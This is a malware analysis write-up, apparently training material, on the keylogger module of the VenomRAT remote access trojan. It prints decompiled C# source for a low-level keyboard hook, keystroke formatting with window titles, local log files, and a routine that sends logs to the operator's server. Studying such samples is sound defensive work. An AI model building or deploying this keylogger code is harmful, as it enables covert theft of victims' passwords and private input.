Remote Access Trojan

VenomRAT - ClientAny.exe

Author: Moise Medici
Updated: 15 Nov 2025 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Persistence Mechanisms Command Execution via Powershell Cmd Bash Data-Exfiltration
Tags: C#VenomRAT

`Client.Keylogger`

The Keylogger class has a multitude of different methods. They can be analyzed one by one.

1
public static void SendLog()
2
{
3
    try
4
    {
5
        string text = string.Empty;
6
        if (File.Exists(KeylogParams.OnlineSaveFileName))
7
        {
8
            text = File.ReadAllText(KeylogParams.OnlineSaveFileName);
9
        }
10
        if (ClientSocket.IsConnected && !string.IsNullOrEmpty(text))
11
        {
12
            MsgPack msgPack = new MsgPack();
13
            msgPack.ForcePathObject("Pac_ket").AsString = "keyLogger";
14
            msgPack.ForcePathObject("hwid").AsString = Settings.Hw_id;
15
            msgPack.ForcePathObject("log").AsString = text;
16
            ClientSocket.Send(msgPack.Encode2Bytes());
17
            File.Delete(KeylogParams.OnlineSaveFileName);
18
        }
19
    }
20
    catch
21
    {
22
    }
23
}

The first one, the SendLog method, uses the KeylogParams.OnlineSaveFileName, which is defined in the KeylogParams class as the DataLogs_keylog_online.txt file.

1
public static string OnlineSaveFileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData", "DataLogs_keylog_online.txt");

If the file exists and is not empty, the whole content is read and sent via the ClientSocket object defined in Client.Connection, which will be looked at next. Once the data is sent, the file is deleted. This is sent in combination with the Hw_id value of 5DEACD0D3625ECDCA44B and the string KeyLogger, probably so that the receiving server can identify the traffic type and client. Remember that the Hw_id value is determined at run time and it will probably be different on another system.

Next, the Run method:

1
public static void Run()
2
{
3
    new Thread(delegate
4
    {
5
        for (;;)
6
        {
7
            Thread.Sleep(Keylogger.Params.interval * 1000);
8
            Keylogger.SendLog();
9
        }
10
    }).Start();
11
    Keylogger._hookID = Keylogger.SetHook(Keylogger._proc);
12
}

This method executes a new thread that continuously sends logs via the SendLog method and waits a certain sleep interval, then repeats.
Once the thread is started, the method then creates a new hook calling the SetHook method. This method is:

1
private static IntPtr SetHook(Keylogger.LowLevelKeyboardProc proc)
2
{
3
    IntPtr intPtr;
4
    using (Process currentProcess = Process.GetCurrentProcess())
5
    {
6
        intPtr = Keylogger.SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U);
7
    }
8
    return intPtr;
9
}

This seems at first like it is using a method from Keylogger called SetWindowsHookEx, however this is imported from user32.dll at the end of the Keylogger class.

1
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
2
private static extern IntPtr SetWindowsHookEx(int idHook, Keylogger.LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

What is SetWindowsHookEx? The Microsoft API documentation (see reference 2) defines it as:

Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events.

The second sentence explains the core concept: the sample wants to monitor the system for a certain event.

The API call definition is:

1
HHOOK SetWindowsHookExA(
2
  [in] int       idHook,
3
  [in] HOOKPROC  lpfn,
4
  [in] HINSTANCE hmod,
5
  [in] DWORD     dwThreadId
6
);

And it is called within the sample as:

1
SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U)

In detail, the way the sample uses it is:

Keylogger.WHKEYBOARDLL: is defined at the end of the file with 13, which, looking at the Parameters section of the Microsoft documentation, is WH_KEYBOARD_LL which means: “Installs a hook procedure that monitors low-level keyboard input events.”
proc: is passed from the Run method and is defined at the bottom of the file as a LowLevelKeyboardProc object that uses Keylogger.HookCallback as callback function, a function to call when the hook is triggered
Keylogger.GetModuleHandle(currentProcess.ProcessName): the Microsoft documentation defines it as: “A handle to the DLL containing the hook procedure pointed to by the lpfn parameter”. This basically means that it retrieves a handle to the module (the executable or DLL) that contains the hook procedure specified by proc. When setting a Windows hook, it is necessary to tell the system where the callback function (the hook procedure) resides. In this case, the callback is part of the current process, so GetModuleHandle returns a handle to that module.
0U: this is an unsigned (U) 0, which, based on the documentation, means “For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.”

The callback method, HookCallback, is quite a long method but fairly simple.

1
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
2
{
3
    IntPtr intPtr;
4
    try
5
    {
6
        if (nCode >= 0 && wParam == (IntPtr)256)
7
        {
8
            string activeProcessName = Keylogger.GetActiveProcessName();
9
            string activeWindowTitle = Keylogger.GetActiveWindowTitle();
10
            if (!Keylogger.Params.isEnabled || !Keylogger.FilterProcessWindow(activeProcessName, activeWindowTitle))
11
            {
12
                return Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
13
            }
14
            int num = Marshal.ReadInt32(lParam);
15
            bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
16
            bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;
17
            string text = Keylogger.KeyboardLayout((uint)num);
18
            if (flag || flag2)
19
            {
20
                text = text.ToUpper();
21
            }
22
            else
23
            {
24
                text = text.ToLower();
25
            }
26
            Keys keys = (Keys)num;
27
            if (keys >= Keys.F1 && keys <= Keys.F24)
28
            {
29
                string text2 = "[";
30
                Keys keys2 = (Keys)num;
31
                text = text2 + keys2.ToString() + "]";
32
            }
33
            else
34
            {
35
                if (new Keys[]
36
                {
37
                    Keys.Escape,
38
                    Keys.Back,
39
                    Keys.Tab,
40
                    Keys.Capital,
41
                    Keys.LWin,
42
                    Keys.RWin,
43
                    Keys.LMenu,
44
                    Keys.RMenu,
45
                    Keys.LControlKey,
46
                    Keys.RControlKey,
47
                    Keys.Left,
48
                    Keys.Right,
49
                    Keys.Up,
50
                    Keys.Down,
51
                    Keys.Delete,
52
                    Keys.Home,
53
                    Keys.End
54
                }.Contains(keys))
55
                {
56
                    text = "[" + keys.ToString() + "]";
57
                }
58
                if (keys == Keys.Return)
59
                {
60
                    text = "[Enter]\r\n";
61
                }
62
                if (keys == Keys.Space)
63
                {
64
                    text = " ";
65
                }
66
            }
67
            if (!string.IsNullOrEmpty(text))
68
            {
69
                StringBuilder stringBuilder = new StringBuilder();
70
                if (Keylogger.PrevActiveWindowTitle == activeWindowTitle)
71
                {
72
                    stringBuilder.Append(text);
73
                }
74
                else
75
                {
76
                    stringBuilder.Append(Environment.NewLine);
77
                    stringBuilder.Append(Environment.NewLine);
78
                    stringBuilder.Append(string.Concat(new string[]
79
                    {
80
                        "----- [",
81
                        DateTime.Now.ToString("MM-dd HH:mm:ss"),
82
                        "] : [",
83
                        activeProcessName,
84
                        "] [",
85
                        activeWindowTitle,
86
                        "]"
87
                    }));
88
                    stringBuilder.Append(Environment.NewLine);
89
                    stringBuilder.Append(text);
90
                }
91
                Keylogger.Log(stringBuilder.ToString());
92
                Keylogger.PrevActiveWindowTitle = activeWindowTitle;
93
            }
94
        }
95
        intPtr = Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
96
    }
97
    catch
98
    {
99
        intPtr = IntPtr.Zero;
100
    }
101
    return intPtr;
102
}

The first couple of lines get the name of the program running in the current open window:

8
string activeProcessName = Keylogger.GetActiveProcessName();
9
string activeWindowTitle = Keylogger.GetActiveWindowTitle();

If the keylogger is enabled, then the status of caps lock and the shift keys is captured:

15
bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
16
bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;

This is done via the GetKeyState method (see reference 3) which returns whether the key is pressed or not. The numbers inside are hexadecimal representing the key on the keyboard. In reference 4 all the mappings can be found. Given that 160 is 0xA0 which is the left shift (VK_LSHIFT), while 161 is the right shift and 20 (0x14 in hex) is the caps lock, these lines check whether the character should be uppercase; if one of the keys is pressed it is saved in uppercase:

18
if (flag || flag2)
19
{
20
    text = text.ToUpper();
21
}

The keys pressed are logged via the KeyboardLayout method that will be seen next. The rest of the method is just code to handle keys that are not letters:

from line 27 to 32: checks for function keys, and saves them as [F1] for example;
from line 35 to 65: checks for special keys like Tab and saves them as [Tab]. The same applies for Enter and Space, which is saved as " ".

Once the text is converted and formatted, it is saved with the following format:

80
"----- [",
81
DateTime.Now.ToString("MM-dd HH:mm:ss"),
82
"] : [",
83
activeProcessName,
84
"] [",
85
activeWindowTitle,
86
"]"

This final text is saved via the Log method:

91
Keylogger.Log(stringBuilder.ToString());

The content of Log shows that the sample saves the logs in MyData/DataLogs_keylog_offline.txt first, and then, if there is network connectivity, in MyData/DataLogs_keylog_online.txt.

1
private static void Log(string log)
2
{
3
    if (Keylogger.Params.isEnabled)
4
    {
5
        File.AppendAllText(KeylogParams.OfflineSaveFileName, log);
6
        if (ClientSocket.IsConnected)
7
        {
8
            File.AppendAllText(KeylogParams.OnlineSaveFileName, log);
9
        }
10
    }
11
}

The KeyboardLayout method takes in an integer representing the key pressed, and it returns the string representation of it in Unicode. This is done by translating the key pressed into a “scan code” via MapVirtualKey. The scan code is a unique identifier for each key; more info is in 5. Then the layout of the keyboard is retrieved via GetKeyboardLayout and the scan code is translated to Unicode via ToUnicodeEx.

1
private static string KeyboardLayout(uint vkCode)
2
{
3
    try
4
    {
5
        StringBuilder stringBuilder = new StringBuilder();
6
        byte[] array = new byte[256];
7
        if (!Keylogger.GetKeyboardState(array))
8
        {
9
            return "";
10
        }
11
        uint num = Keylogger.MapVirtualKey(vkCode, 0U);
12
        uint num2;
13
        IntPtr keyboardLayout = Keylogger.GetKeyboardLayout(Keylogger.GetWindowThreadProcessId(Keylogger.GetForegroundWindow(), out num2));
14
        Keylogger.ToUnicodeEx(vkCode, num, array, stringBuilder, 5, 0U, keyboardLayout);
15
        return stringBuilder.ToString();
16
    }
17
    catch
18
    {
19
    }
20
    Keys keys = (Keys)vkCode;
21
    return keys.ToString();

There are now two missing parts of the sample:

The connection to the remote server
Other capabilities?